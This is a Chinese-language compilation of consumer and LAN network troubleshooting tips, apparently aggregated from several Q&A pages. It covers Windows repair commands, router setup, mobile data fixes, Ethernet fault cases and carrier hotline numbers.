障现象：网吧局域网中某台客户机在“网上邻居”上都能看到服务器，但就是不能上因特网。（前提：服务器指代理网吧局域网其他客机上因特网的那台计算机，以下同）。分析、排除：检查这台客户机TCP/IP协议的设置，检查这台客户机中IE浏览器的设置，检查服务器中有关对这台客户机的设置项。

1、可能是因为手机所在的网络信号不好，可以换另外一个地方再上网；2、手机网络设置没设置好，可以换另外一个接入点来上网，比较原来用CMNET来上网，可以换成用CMWAP接入点来上网；3、手机自身系统的网络设置有点混乱了，导致在连接无线时会出现信号不好的情况。这时候可以尝试一下开启关闭一下飞行模式，看能否解决问题。手机运行程序过多也会影响信号问题，试着清理下手机；4、服务器问题，这通常表现为服务器死机或关闭，这一般很少见，可以采用打电话咨询网络服务商的方法解决；手机问题：手机因为设置有误或者是发热卡顿导致网络无法正常连接，可以关闭手机5分钟后重启手机即可恢复。手机重启后依然没有解决问题，可以尝试还原网络来解决，具体步骤如下：打开设置，点击通用-传输或还原iPhone-还原-还原网络设置-输入密码-还原网设置，手机重启后就可以正常使用网络。还原网络后还没有解决问题，可能就是手机硬件有问题，建议去售后检测维修。网络问题：手机连接的网络有问题，导致连接不上网络，建议切换网络或者去网络信号较好的位置。如果连接的是蜂窝网络，有3种可能：手机欠费的原因导致连接不上网，给手机充值话费，话费到账后重启手机即可正常上网。手机SIM卡接触不良导致连不上网，使用卡针取出SIM卡，用橡皮擦拭SIM卡金属片位置，再重新安装上SIM卡，这样就可以正常上网。重新安装后没有解决问题可以换一部手机试一试是不是SIM卡坏了，如果在新手机上还是不能正常使用则说明私密损坏，需要去营业厅补办SIM卡。当前的操作环境为iOS环境，采用手机为iPhone 13，操作系统为：iOS 15.6.1，没有使用到软件。

一、连接指示灯不亮观察网卡后侧RJ45一边有两个指示灯。它们分别为连接状态指示灯和信号传输指示灯，其中正常状态下连接状态指示灯呈绿色并且长亮，信号指示灯呈红色，正常应该不停的闪烁。如果我们发现连接指示灯，也就是绿灯不亮，那么表示网卡连接到HUB或交换机之间的连接有故障。对此可以使用测试仪进行分段排除。二、信号指示灯不亮如果信号指示灯不亮，那么则说明没有信号进行传输，但可以肯定的是线路之间是正常的。那么不防使用替换法将连接计算机的网线换到另外一台计算机上试试，或者使用测试仪检查是否有信号传送，如果有信号传送那么则是本地网卡的问题。三、降速使用很多网卡都是使用10M/100M自适应网卡，虽然网卡的默认设置是“自适应”，但是受交换机速度或网线的制作方法影响，可能出现一些不匹配的情况。这个时候不防试试把网卡速度直接设为10M。四、防火墙导致网络不通在局域网中为了保障安全，很多朋友都安装了一些防火墙。这样很容易造成一些“假”故障，例如Ping不通但是却可以访问对方的计算机，不能够上网却可以使用QQ等。判断是否是防火墙导致的故障很简单，你只需要将防火墙暂时关闭，然后再检查故障是否存在。五、配置错误导致网络不通这种故障的外部表现多是网络指示灯正常，也能够Ping通，有时可以访问内网资源，但无法访问外网资源，有时还会表现出访问网站时只能通过IP地址，而不能通过域名访问。这就是典型的网络配置不当所产生的，即没有设置正确的网卡和DNS。如果网关设置错误，那么该台计算机只能在局域网内部访问，如果DNS设置错误，那么访问外部网站时不能进行解析。

电脑连接不上网的原因很多，可以按照以下方法和步骤，逐项排查并修复：1，先看看电脑或者笔记本是否把无线网络或者WiFi功能关闭了，一种是系统或者软件带有的无线网络和WiFi的开关设置，另一种是电脑或者笔记本自身的硬件开关，解决方法：重新开启这类开关；2, 再确认无线网络是否需要输入密码以及密码是否正确，如果不知道无线网络的密码或者密码输入错误，则无法连接到无线；3，查看设备管理器中，有没有无线网卡设备，如果没有或者上面有黄色问号，就是无线网卡驱动问题，可能网卡驱动丢失或损坏，如果驱动,丢失，“本地连接”图标也会会消失。解决方法：上官网或者用自带的驱动盘重装驱动，再或者安装运行驱动精灵进行网卡驱动的更新和重装；4, 尝试右键单击系统托盘的“网络连接”选择“解决问题”进行快速修复；5,按Win+X，选择“命令提示符（管理员）”，注意这个不要选择到上面的那个“命令提示符”，不然你在输入命令后，可能会收到“请求的操作需要提升”的提示。在弹出的CMD窗口中输入“netsh winsock reset”（注意，不带双引号），然后回车；回车后，你将收到“成功重置 Winsock 目录，你必须重新启动计算机才能完成重置”的提示。这时重新启动你的计算机，看看是否网络即可恢复正常；6, 尝试用3 6 0 安 全 卫 士的断网急救箱，或者Q Q 电 脑 管 家的网络修复功能尝试修复网络；7, 拔掉modem（猫）和路由器的电源，等待十分钟，再插上电源，等到modem和路由器正常运行后，试试能不能上网；8, 网线或者网线接头接触不良。解决方法：尝试扭动或者插拔一下，看看是否能连上网；9, 可能是DNS设置有问题。解决方法：请下载安装魔 方 优 化 大 师，里面有：“DNS助手”通过“DNS助手”，重新优选一下DNS即可。如果无有DNS服务器，请设置 “114.114.114.114”和“8.8.8.8”为优选DNS服务器；10, 也可能是网络设置了固定ip地址。电脑TCP/IP（v4 或者v6）中设置了具体的IP和DNS，但这些IP和DNS（v4 或者v6）又和路由器的不一致造成的。解决方法：如果路由器开启了DHCP，右键单击系统托盘的“网络连接”选择“打开网络和共享中心”，双击“更改适配器设置”，右键单击相应设备，选“属性”，在里面找到TCP/IPv4，点直接用“自动获取”，如果路由器没有开启DHCP，就要设置与路由器一致的IP 和DNS；11，也可以尝试把路由器的无线设置中的模式改为802.11n（需要路由器支持此种模式）.不要用混合模式，方法：右键单击“这台电脑”，再点选“属性”，双击“设备管理器”，点击“网络适配器”，点选“无线网卡”，再点选“高级”然后在里面更改为802.11n模式“可用”，试试能否联网；12，如果以上方法均无效，以很可能路由器本身设置有问题，尝试恢复初始设置：在无线路由器开启时，按下RESET键不放，过5秒后，恢复初始设置后，重新对无线路由器进行设置；（已经后附“路由器设置方法”）13, 还有可能是你的网络运营商提供的网络有问题，请联系网络运营商；14, 网卡（包括：有线网卡和无线网卡）损坏，请更换网卡；（如果不懂，请找网络运营商或者专业人士进行修复或者更换）15，路由器本身有问题，或者损坏，请换一个路由器试试。后附：路由器设置方法：1、将网线—路由器—电脑之间的线路连接好（将网线接入路由器的WAN口，用网线将电脑与路由器的任意一个Lan口连接），启动电脑并打开路由器开关，路由器启动稳定后，如果看到Lan口闪烁，即说明电脑与路由器成功建立通讯。（注意，此时不要连接Modem）；2、启动电脑后，进入操作系统，打开浏览器，在地址栏中输入192点168点1点1或192点168点0点1，然后进入无线路由器默认登陆网关界面；3、默认登陆网关界面出现一个登录路由器的帐号及密码，默认的情况下，帐号和密码均为：admin（全部小写）；4、根据设置向导一步一步设置，选择上网方式，通常ADSL用户则选择第一项PPPoE，如果用的是其他的网络服务商则根据实际情况选择下面两项，如果不知道该怎么选择的话，直接选择第一项自动选择即可，方便新手操作，选完点击下一步；5、然后按提示步骤输入从网络服务商申请到的账号和密码，输入完成后直接下一步；6、然后选择无线设置，设置wifi密码，尽量字母数字组合比较复杂一点不容易被蹭网。7、输入正确后会提示是否重启路由器，选择是确认重启路由器；8 、路由器设置完成后，关闭电脑，然后把路由器和Modem连接上，Modem插上电源，等待Modem正常运行后，打开电脑，就能上网了。（特注：有的光猫自带路由功能，也就是modem和路由器二合一，这种设备直接设置好路由器功能和无线网络密码直接联网连接电脑即可。）

10%家庭网络故障原因是未接通网络、机顶盒的系统有问题、机顶盒内置的网络视频播控平台停止服务。根据查询相关公开信息：网络机顶盒未接通网络导致开机显示"家庭通讯故障"，进入机顶盒的网络设置界面，查看网络连接情况，重新设置联网即可。机顶盒的系统有问题导致开机出现"家庭通讯故障"提示，可以重启机顶盒来解决。重启多次无效，则可以将机顶盒系统还原为出厂设置状态或者升级到最新版本来解决。机顶盒内置的网络视频播控平台停止服务也会导致"家庭通讯故障"。国家广电总局近期推出了禁令，禁止未经审核的网络播控平台提供在线视频服务，部分未通过审核的播控平台就会停止服务，导致用户端无法认证。

　　导语：网络故障上不了网的原因有哪些？文章仅供大家参考！ 　　网络故障上不了网 　　一、网络设置的问题 　　这种原因比较多出现在需要手动指定IP、网关、DNS服务器联网方式下，及使用代理服务器上网的。仔细检查计算机的网络设置。 　　二、DNS服务器的问题 　　当IE无法浏览网页时，可先尝试用IP地址来访问，如果可以访问，那么应该是DNS的问题，造成DNS的问题可能是连网时获取DNS出错或DNS服务器本身问题，这时你可以手动指定DNS服务(地址可以是你当地ISP提供的DNS服务器地址，也可以用其它地方可正常使用DNS服务器地址。)在网络的属性里进行，(控制面板—网络和拔号连接—本地连接—右键属性—TCP/IP协议—属性—使用下面的DNS服务器地址)。不同的ISP有不同的DNS地址。有时候则是路由器或网卡的问题，无法与ISP的DNS服务连接，这种情况的话，可把路由器关一会再开，或者重新设置路由器。 　　还有一种可能，是本地DNS缓存出现了问题。为了提高网站访问速度，系统会自动将已经访问过并获取IP地址的网站存入本地的DNS缓存里，一旦再对这个网站进行访问，则不再通过DNS服务器而直接从本地DNS缓存取出该网站的IP地址进行访问。所以，如果本地DNS缓存出现了问题，会导致网站无法访问。可以在“运行”中执行ipconfig /flushdns来重建本地DNS缓存。 　　三、IE浏览器本身的问题 　　当IE浏览器本身出现故障时，自然会影响到浏览了;或者IE被恶意修改破坏也会导致无法浏览网页。这时可以尝试用“黄山IE修复专家”来修复(建议到安全模式下修复)，或者重新IE(如重装IE遇到无法重新的问题，可参考：附一解决无法重装IE) 　　四、网络防火墙的问题 　　如果网络防火墙设置不当，如安全等级过高、不小心把IE放进了阻止访问列表、错误的防火墙策略等，可尝试检查策略、降低防火墙安全等级或直接关掉试试是否恢复正常。 　　五、网络协议和网卡驱动的问题 　　IE无法浏览，有可能是网络协议(特别是TCP/IP协议)或网卡驱动损坏导致，可尝试重新网卡驱动和网络协议。 　　六、HOSTS文件的问题 　　HOSTS文件被修改，也会导致浏览的不正常，解决方法当然是清空HOSTS文件里的`内容。 　　七、系统文件的问题 　　当与IE有关的系统文件被更换或损坏时，会影响到IE正常的使用，这时可使用SFC命令修复一下，WIN98系统可在“运行”中执行SFC，然后执行扫描;WIN2000/XP/2003则在“运行”中执行sfc /scannow尝试修复。 　　其中当只有IE无法浏览网页，而QQ可以上时，则往往由于winsock.dll、wsock32.dll或wsock.vxd(VXD只在WIN9X系统下存在)等文件损坏或丢失造成，Winsock是构成TCP/IP协议的重要组成部分，一般要重装TCP/IP协议。但xp开始集成TCP/IP协议，所以不能像98那样简单卸载后重装，可以使用 netsh 命令重置 TCP/IP协议，使其恢复到初次安装操作系统时的状态。具体操作如下： 　　点击“开始 运行”，在运行对话框中输入“CMD”命令，弹出命令提示符窗口，接着输入“netsh int ip reset c:\resetlog.txt”命令后会回车即可，其中“resetlog.txt”文件是用来记录命令执行结果的日志文件，该参数选项必须指定，这里指定的日志文件的完整路径是“c:\resetlog.txt”。执行此命令后的结果与删除并重新安装 TCP/IP 协议的效果相同。 　　小提示：netsh命令是一个基于命令行的脚本编写工具，你可以使用此命令配置和监视Windows 系统，此外它还提供了交互式网络外壳程序接口，netsh命令的使用格式请参看帮助文件(在令提示符窗口中输入“netsh/?”即可)。 　　第二个解决方法是修复以上文件，WIN9X使用SFC重新提取以上文件，WIN2000/XP/2003使用sfc /scannow命令修复文件,当用sfc /scannow无法修复时，可试试网上发布的专门针对这个问题的修复工具WinSockFix，可以在网上搜索下载。 　　八、杀毒软件的实时监控问题 　　这倒不是经常见，但有时的确跟实时监控有关，因为现在杀毒软件的实时监控都添加了对网页内容的监控。举一个实例：KV2005就会在个别的机子上会导致IE无法浏览网页(不少朋友遇到过)，其具体表现是只要打开网页监控，一开机上网大约20来分钟后，IE就会无法浏览网页了，这时如果把KV2005的网页监控关掉，就一切恢复正常;经过彻底地重装KV2005也无法解决。虽然并不是安装KV2005的每台机子都会出现这种问题，毕竟每台机子的系统有差异，安装的程序也不一样。但如果出现IE无法浏览网页时，也要注意检查一下杀毒软件。 　　九、Application Management服务的问题 　　出现只能上QQ不能开网页的情况，重新启动后就好了。不过就算重新启动，开7到8个网页后又不能开网页了，只能上QQ。有时电信往往会让你禁用Application Management服务，就能解决了。具体原因不明。 　　十、感染了病毒所致 　　这种情况往往表现在打开IE时，在IE界面的左下框里提示：正在打开网页，但老半天没响应。在任务管理器里查看进程，(进入方法，把鼠标放在任务栏上，按右键—任务管理器—进程)看看CPU的占用率如何，如果是100%，可以肯定，是感染了病毒，这时你想运行其他程序简直就是受罪。这就要查查是哪个进程贪婪地占用了CPU资源.找到后，最好把名称记录下来，然后点击结束，如果不能结束，则要启动到安全模式下把该东东删除，还要进入注册表里，(方法：开始—运行，输入regedit)在注册表对话框里，点编辑—查找，输入那个程序名，找到后，点鼠标右键删除，然后再进行几次的搜索，往往能彻底删除干净。

摘要：笔记本电脑注意事项-警惕-小常识篇：对电脑电源检查，通过Speedtest检查网络，检查互联网，检查ISP等网络故障排查方法的介绍说明。高手教你如何排查网络故障只要使用宽带上网，很少有人一次网络故障都没有遇到过。所以，如果你经常遇到网络连接问题，本文教你如何排查网络故障，可以以为你提供一些参考意见，帮你尽快找出网络问题所在，并尽可能修复问题。检查本地网络首先，如果你的互联网连接彻底断开了，那么首先要检查的就是网络线缆的连接。这个建议看似废话，但是在实际工作中，我遇到过很多次网络问题，归根到底就是某个网络接口松动导致的。通过Speedtest检查网络不是只有用户才会使用五类线连接网络，而且，对于Wi-Fi接入点或路由器或DSL猫，如果他们的电源线松动了，也会造成用户的网络断开。之所以会提到电源线的问题，是因为有一次我的一个朋友打电话来求助，说他家的网络连不上了，我在电话里指导他检查了半天，最后发现问题是他在用吸尘器打扫房间的时候把AP的电源拔下来了，后来忘记插回去。因此，如果断网了，首先检查一下线缆的问题没有错的。如果你的Wi-Fi网络没有连接成功，一个最简单的也是首先应该做的，就是检查一下你的PC连接的是否是正确的无线接入点。如果你的电脑的首选无线网络是邻居家的，那你肯定无法通过这个网络连接到互联网的。另外需要记住的是，如果你修改了AP的用户接入密码，那么其它设备上的密码也要进行修改。我曾经遇到个客户，在电脑上弄了半天也没能上网，后来才想起来，这台电脑很久没用过了，而这期间他们公司的无线网络密码修改过了。那么，如果所有的线缆都连接正常，密码也正确，还是上不了网，是怎么回事儿呢?最简单的方法就是再检查一下所有接头和基本的连接设置。如果还是一切正常，但就是上不了网，该怎么办呢?首先看看你能不能连接到AP上。大部分AP都带有基于Web的管理界面。如果能连接到管理界面，就证明本地网络没有问题，接下来需要检查互联网连接。检查互联网接下来就该检查互联网连接情况了。检查的办法很多，但是这里我希望能把最简单的方法教给大家。首先，拔掉网线或DSL猫，等待半分钟，然后将网线插回去。如果这个时候你打电话向ISP求助，他们的客服有99.9%的可能性也会让你做相同的动作。接下来，如果你还不能连接到互联网，可以打电话给ISP了。通常这个电话都不会有什么实际意义，但是偶尔也会帮你获得一些解决问题的灵感。比如，不止是你家上不了网，邻居家也同样不能上网了，因为附近的某个骨干网出现了问题。而且打通客服电话后，可能真的会成功帮助到你解决问题。接下来让我们讨论这种情况：网络可以使用，但是用起来有点不正常。那么你可以做以下一些工作。首先确定网络带宽符合你所支付的带宽容量。你可以通过Speedtest网站来测试你的网速和带宽情况。该网站由网络性能管理公司Ookla掌管。如果你想更多的了解你的局域网，广域网或者VPN网络的性能情况，可以使用它们推荐的工具。该网站通过连接服务器的方式对用户的互联网连接情况进行检测，而且用于检测的服务器都是免费的。Speedtest网站会告诉用户，他的电脑到某个服务器的ping值，也就是单个数据包从用户电脑发送到服务器的时间，以及数据下载和上传时的速度。理想状态下，我们应该得到一个较低的ping值，如果服务器在境内，应该ping值10ms左右，而下载和上传速度要符合我们购买的带宽数值。接下来我们假设网络速度并没有理想状态下那么好。如果数据与理论值相差不是很大，可以这样解释：一般ISP在宣传时可能都会对自己提供的带宽和网速有少许夸大。另外，就算你测出来的ping值和网络带宽看上去正常的，可能你的互联网连接表现仍然不够理想。这是因为ping和带宽都只是网络连接表现状况的因素之一，而不是全部因素。可能你遇到了丢包或者网络抖动。要检测此类问题，可以使用Pingtest.net.另外MeasurementLab的NetworkDiagnosticTool(NDT)工具也可以用来帮助分析问题所在。Pingtest返回结果包丢失根据字面意思就能理解。你的电脑将某些数据包发送到互联网上的某个网站，而该网站并没有真正收到数据包。很多因素都能导致数据包丢失，比如干扰，网络硬件设备过载，或者连接错误。互联网的情况很复杂，所以偶尔的丢包现象很正常。理想状况下，我们都希望丢包量为零，但是正常使用时，总有1%到2%的数据包丢失。但是如果你在使用网络视频会议，或者网络语音通信(VoIP)，玩魔兽3之类的网络游戏，你会发现丢包是个很痛苦的事情。如果你打算进行以上活动，或者发现丢包量太大，可以打电话询问你的ISP。网络抖动(Jitter)或者更精确的说事数据包延迟变化，是指计算机之间通过网络延迟的时间差。比如你ping一个网站，回应时间是1ms，但是第二次再ping的时候，响应时间变成10ms了，说明抖动很严重。简单的讲，抖动越多，你的连接就越不稳定。在一些比较古老的程序，比如电邮客户端或者比较老的浏览器里，你可能不会体会到网络抖动的问题，但是在较高抖动的情况下，网络视频，VoIP以及网络游戏等将出现很多状况。如果数据包丢失或抖动来自内部网络，那么再次检查网络连接，如果有条件，就更换某个网络设备，看看情况是不是有所好转。另外还可以使用MeasurementLab的NPAD(网络路径和应用诊断)工具.MeasurementLab表示，该工具“通过指令来纠正网络错误，适合非专业人士使用”，可用于任何网络故障的检测。当然，宣传有些夸张，你还是需要一定的网络知识才能解决各种网络问题。不过，就算不是网络专家，试着用用这款工具也是有帮助的。如果还没有找到问题所在，那么打电话叫个更懂网络的技术人员来吧。一般来说，拥有Network+认证的技术人员都能解决常见的网络问题。当然，如果你对网络技术也比较了解，可以通过WireShark之类的工具自己解决问题。如果你的互联网连接速度总是达不到ISP许诺的速度，先别急着抱怨自己被奸商坑了，而是要再次检查一下你的各个网络接口，没错，多查几次没坏处。然后再试试看看连接速度是否有改善。如果还是很慢，你可以直接将PC或笔记本连接到调制解调器上并再次测试网速。如果这时候你的网速升上去了，说明问题出现在局域网内部。如果问题真的出现在局域网内部，你可以尝试找个更懂技术的人来看看。检查ISP让我们假设你的互联网连接速度还是很慢。那么你可以进行以下一系列工作。首先是一些自己能够解决的问题，比如，如果你正在使用BT软件下载东西，或者正在观看网络视频，那么网络带宽就已经被占用了很大一部分了。另外，还有一些情况是网络有周期性的变慢。比如，由于网络视频的盛行，周末的时候很多人会在家观看网络电影，导致一些小得ISP在周末晚间的带宽大部分被网络视频数据占用，网页浏览明显变慢。由于很多ISP所搭建的网络比较早，没有考虑到网络视频如此普及所带来的带宽冲击，所以每到高峰期，这种网速问题就会出现。当由于这种情况导致网速变慢时，你可以通过MeasurementLab的Pathload2带宽检测程序来查看自己的带宽是否达到了ISP承诺的标准。如果实际带宽远远达不到ISP承诺的带宽，你可以向ISP投诉并要求退款，如果ISP不合作，你可以将情况反映给商业改进局(BetterBusinessBureau，仅限于美国用户)，或“有关部门”。不过，也有可能是其他一些因素导致你的带宽被占用。其中之一就是你的ISP对带宽进行了限制。ISP尤其是美国的ISP会为宽带用户网络流量设定上限，这可能会影响到网络带宽。一般每月的网络流量套餐从1GB到250GB不等。网络专家兼作家GlennFleishman在今年夏天的一篇文章中就指出“超过半数的美国家庭宽带用户选择有流量限制的宽带服务”250GB的流量限额看似很高了。这个容量相当于5000万封电子邮件(0.05KB/email)，6.25万首MP3(4MB/song)或125个标清电影(2GB/movie)。但是一旦你开始在网上观看高清视频，或者家里几个人一起上网，或者总是挂在网上办公，这个容量限制就可能不够用了。不同的ISP对于超过流量限制的网络使用采取不同的措施。比如AT&T，会对超过流量限制的数据流量收取额外费用。其它的ISP，比如Comcast，当用户到达250GB的流量限制后会收到超额警告信息，如果下个月再次超额，就会关闭用户的网络接入服务。有些ISP会在某些服务量较大的情况下自动降低用户的带宽，或者在用户的网络流量接近上限时降低用户的网络带宽。DiffProbe的检查结果要检查是否出现了这种问题，可以使用ShaperProbeakaDIffProbetest.目前该软件支持WindowsXP,MacOSX,以及Linux，但是并不支持Windows7。另外，ISP会对某些网络服务进行限速，比如网络视频或BT下载。要查看是否被ISP限制了某种网络服务，可以使用Glasnosttests.。这是一个基于Web的测试程序，可以针对特定协议和程序，查看ISP是否对其进行了带宽限制。目前，这个工具可以用来测试ISP是否限制或屏蔽了email,HTTP或SSH传输,Flash视频,以及各种点到点传输工具，如BitTorrent,eMule和Gnutella。每个测试大约持续8分钟。如果测试结果显示你的ISP有可能限制了某种服务或带宽，你可以考虑更换ISP了，因为这是一种商业行为而不是技术问题。

常见的网络排障思路如下：第一步：识别并描述故障现象。分析网络故障时，首先要清楚故障现象，应该详细了解故障的症状和潜在的原因。例如，服务器不响应用户的请求，可能的故障原因是服务器配置问题、接口卡故障或路由器配置命令丢失等。收集需要的用于帮助隔离可能故障原因的信息，如广泛地从用户、网络管理系统、协议分析跟踪、路由器诊断命令的输出报告、软件说明书中收集。第二步：制定诊断方案，列举可能导致故障的原因。可以根据有关情况排除某些故障原因。例如，根据某些信息可以排除硬件故障，从而把注意力放在软件上。第三步：排除故障。认真做好每一步测试和观察，每改变一个参数都要确认其结果，确定问题是否解决。如果没有解决，继续下去，直到故障症状消失。小结：按常规，网络故障一般不排除以下几点：网卡有问题、水晶头做得不规范、网线有问题、网卡驱动或网络协议有问题等。但是根据故障现象来看，以上猜测都可以排除，因为任何一个地方存在问题，就不可能在微机之间进行数据传输，从而可以判断问题应该出在环境因素上。由于大量的数据传输需要频繁的数据读取，这就要有一个相对平稳的传输环境，而网卡附近有干扰时，这种平稳的环境就会被破坏。一般要确保网卡不插在离显卡很近的插槽上，因为现在的显卡一般都带有风扇，而显卡风扇将影响到网卡的工作，尤其是显卡在频繁工作时，影响将更加明显。把网卡拔下来，插到离显卡一个较远的插槽上，即可解决大量数据传输时出现的问题。

那就重启光猫，如有无线路由器，也可以重置路由器。

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有些手机要修改下网络模式

三、检查网络服务商一、检查网络连接如果以上两种方法都无法解决问题，那么我们需要联系网络服务商。他们可以帮助我们检查网络服务是否正常，或者是否存在其他问题。如果网络服务商无法解决问题，那么我们可以考虑更换网络服务商。首先，我们应该检查网络连接是否正常。我们可以检查路由器、网线、无线网络等设备是否正常连接。如果是无线网络连接，可以尝试重新连接或重启路由器。四、检查网络病毒

1、打开电脑后，可以看到右下角的网络连接图标是没有连上的，说明不能够正常上网，这时右键点击网络图标，在弹出菜单中选择“打开网络和共享中心”菜单项。 2、在打开的网络和共享中心窗口中，点击左侧的“更改适配器设置”快捷链接。 3、这时可以看到网络连接的图标，右键点击正在使用的网络连接，在弹出菜单中选择“诊断”菜单项。 4、这是就会弹出Windows网络诊断窗口，网络诊断工具会自动检测网络问题。 5、一会网络诊断工具就会找到网络问题，会在窗口中显示出来，如果需要网络诊断工具修复网络的话，点击“尝试以管理员身份进行这些修复”快捷链接。 6、这是Windows网络诊断工具就会自动修复网络问题。 7、一会就会弹出需要修复网络问题的提示，如果需要修复该项设置的话，点击“应用此修复”快捷链接。 8、这时Windows网络诊断工具就会弹出正在解决问题窗口，自动来修复网络问题了。 9、如果修复成功了，就会弹出“疑难解答已完成”的提示，同时显示出修复已找到的网络问题。 10、这时可以看到系统桌面右下角的网络图标已经连上了，这时可以能够正常上网了。

问题1：逮捕物理层的滥用者故障症状：不能登陆或时断时续。只影响一个工作站，而该站原先没有问题。问题分析：电缆终端链路太长。用户每天都移动，弯曲，连接和切断网络终端（尤其时膝上型笔记本电脑）。廉价的电缆测试仪就能检查这种问题。在你能确切地说是电缆的问题之前，通常首先考虑不是电缆的问题。这需要使用网络测试工具来证明本地网段的健康状况是否良好，集线器端口功能是否正常，网卡及其驱动程序工作是否良好。最后，检查网络互连设备是否有问题。只有此时，你才会知道为了孤立有问题的终端，断开的连接器或是接地回路等问题该从何处着手测试电缆。在铜轴线网络中，搜寻在同轴“T型头”和网卡之间的断头，在UTP网络中，连续运行仪器图测试功能，不断扭动终端以识别接触不良或短路。问题2：快速以太网比升级前的以太网还慢故障症状：10Mbps的以太网速度慢，升级为100Mbps快速以太网后甚至不能连接上网。影响新工作站或升级的工作站连接上网。问题分析：对于UTP5类非屏蔽双绞线，用电缆测试仪测试其是否符合对应100Mbps传输速率的EIA/TIA-TSB67标准。某些在10Mbps以太网工作正常的电缆链路因为近端串扰太大在100Mbps以太网就不能正常工作。信号耦合到邻近线对引起高频信号传输失败。将UTP的线对分开甚至会使网络在达到一定流量时瘫痪。问题3：无效的看门狗故障症状：不能连接Novell网络的Netware远程服务器。影响本网段内与服务器相连的所有工作站。问题分析：检查网段的健康状况，注意观察其利用率，碰撞，错误帧和广播帧水平。此时可观察到大量的碰撞或错误帧，该碰撞或错误帧可引起客户机和服务器之间“Hello”帧出现延迟。在某一指定的服务器所在的远端网段重复此测试。如果两个网段都出现空白，用网络测试仪向路由器中的SNMP代理查询，检查两个网段之间的路由表。确定该路径不存在拥挤问题。为了有效地使用资源，在看门狗允许的时间内如果客户机对“Hello”帧无反应，则Novell服务器会将该客户机注销。问题4：刍菊链效应故障症状：网络服务变慢。影响某个以太网段的所有用户。网络服务（访问服务器）变慢，但与所连接的某的服务器无关。问题分析：在高峰时段将网络测试仪连入集线器，运行网络健康状况测试。此时将会观察到大量错误帧。在10BASE-2网络中，错误帧的类型归类为“延迟碰撞”。在10BASE-T网络中帧错误的类型归类为典型的帧校念序列错误（FCS错误），随着网络用户的增长，新增加的集线器通常与原来的集线器形成效应。问题5：IP网络管理者的报应故障症状：一个工作站间隙性出错，不能登陆或者不能访问远端服务器。只影响一个工作站，通常在增加、移动、变更工作站后出现此问题。问题分析：先排除用户是否有帐户和安全设置方面的潜在问题。让用户登陆并且试图从另一个工作站重复这一操作。如果成功，则可以用网络测试仪从用户端到服务器之间的链路状况。然后测试网卡，检测硬件和驱动程序的功能和状况。如果没有问题则检查IP设置，确定用户的IP地址是否有效或者是否有重复的IP地址。确定本网段的子网掩码和路由器默认地址是否正确，DNS服务器（如果有）地址是否专用。如果一个新工作站的IP地址与打印服务器的u2002IP地址设置重复，将会把每个人的打印工作指向该新客户机。问题6：光纤错觉故障症状：整个网络变慢，影响所有连接到网段上的工作站。问题分析：在正常的网络使用时段，将网络测试仪连接到集线器，在光纤连接的两端产生流量，测试健康状况。在某一时刻断开或接上光纤，每当光纤连入网段时，就会观察到大量的错误帧。劣质的光纤链路连接会在其附属的网段中产生大量垃圾帧，迫使工作站重发帧，网络速度变慢。问题7：奇怪！难道电缆在夜间受到过撞击？故障症状：不能连接上网或不能登陆，网段上只有一个工作站能上网。问题分析：断开工作站的连接电缆，接上网络测试仪，注意从集线器上检测不到连接信号。运行电缆测试，查看从办公室到配线间之间的电缆是否开路。如果不正常，将工具设置在音频发生器位置，从配线间用音频探测器查出与办公室对应的电缆，通常情况下，在配线间有变动时，电缆线索会受到推挤和碰撞，引起连接器脱落或松动。问题8：“病人”的心还在跳吗？故障症状：在网络繁忙的高峰期访问网络的速度很慢，个别网段的所有工作站对不论是本网段的服务器还是其它网段的服务器都无反应。问题分析：在高峰时段将网络测试仪连接到该网段。运行该网段的网络健康测试，注意网络的利用率、碰撞、错误帧、广播帧的状况，此时可能看到平均碰撞率不正常，观察到的流量中可能有高达50%是碰撞帧碎片。这是帧信号收发错误——SQE(Signalu2002qualityu2002error)的表现。“心跳”信号被不经意地停留在“博”的位置。问题9：可以连接，但不能登陆故障症状：不能登陆到欲连接的服务器。问题通常在新安装或重新设置工作站后出现，但仅限于一个工作站。问题分析：断开工作站连线，接上网络测试仪，执行IPXu2002Ping或者在取得服务器列表后来检查配置的哪一层的网络协议。注意帧的封装类型（例如802.2）。现在可以测试网卡，检查安装和运行程序是否正确。还要注意检查网卡绑定帧的类型（比如802.3）。两个帧类型要匹配，如果服务器和工作站运行的帧类型不同，则不能连接上网。问题10：莫名其妙得间歇性连接中断问题分析：服务速度太慢，连接间歇性中断。问题仅再一个网站上出现，与正在访问的代理服务器无关。断开网站，接上一个具有流量发送（此为诊断过程的一部分）功能的测试工具，检查网络的利用率，碰撞和错误帧水平，确定网络是否健康。若仪器检测通过而只是网站时通时断，则表明是典型的物理层故障。进行电缆链路测试（包括用户连接电缆），此时长度测试可能显示电缆超长（UTP电缆为100米，铜轴电缆为185米）。超过IEEE规定的允许长度，着将会引起局域网内的传输信号严重衰减。

如宽带无法上网，首先请确认宽带是否因欠费暂停，如是，请先进行充值；如非欠费导致移动宽带出现故障，建议从以下方式操作：重启光猫，并把光纤接头重新插紧后再上网测试；判断光猫指示灯状态，如WAN指示灯在端口与猫连接正常时是常亮或闪烁；去掉路由器，创建宽带连接，重新配置路由器；如果上述方式仍不能解决，可以拨打当地10086进行宽带报障。

1、打开电脑后，可以看到右下角的网络连接图标是没有连上的，说明不能够正常上网，这时右键点击网络图标，在弹出菜单中选择“打开网络和共享中心”菜单项。 2、在打开的网络和共享中心窗口中，点击左侧的“更改适配器设置”快捷链接。 3、这时可以看到网络连接的图标，右键点击正在使用的网络连接，在弹出菜单中选择“诊断”菜单项。 4、这是就会弹出Windows网络诊断窗口，网络诊断工具会自动检测网络问题。 5、一会网络诊断工具就会找到网络问题，会在窗口中显示出来，如果需要网络诊断工具修复网络的话，点击“尝试以管理员身份进行这些修复”快捷链接。 6、这是Windows网络诊断工具就会自动修复网络问题。 7、一会就会弹出需要修复网络问题的提示，如果需要修复该项设置的话，点击“应用此修复”快捷链接。 8、这时Windows网络诊断工具就会弹出正在解决问题窗口，自动来修复网络问题了。 9、如果修复成功了，就会弹出“疑难解答已完成”的提示，同时显示出修复已找到的网络问题。 10、这时可以看到系统桌面右下角的网络图标已经连上了，这时可以能够正常上网了。

如果是中国移动网络可拨打：10086进行网络维修咨询。如果是中国电信网络可拨打：10000进行网络维修咨询。如果是中国联通网络可拨打：10010进行网络维修咨询。中国移动10086补充：1.中国移动热线：10088是高端客户服务热线10085是营销服务热线2.中国电信热线：10001是24小时自助服务热线中国电信100003.中国联通热线：10011充值服务热线10018客户俱乐部服务热线10016营销专线10015消费者权益保护热线

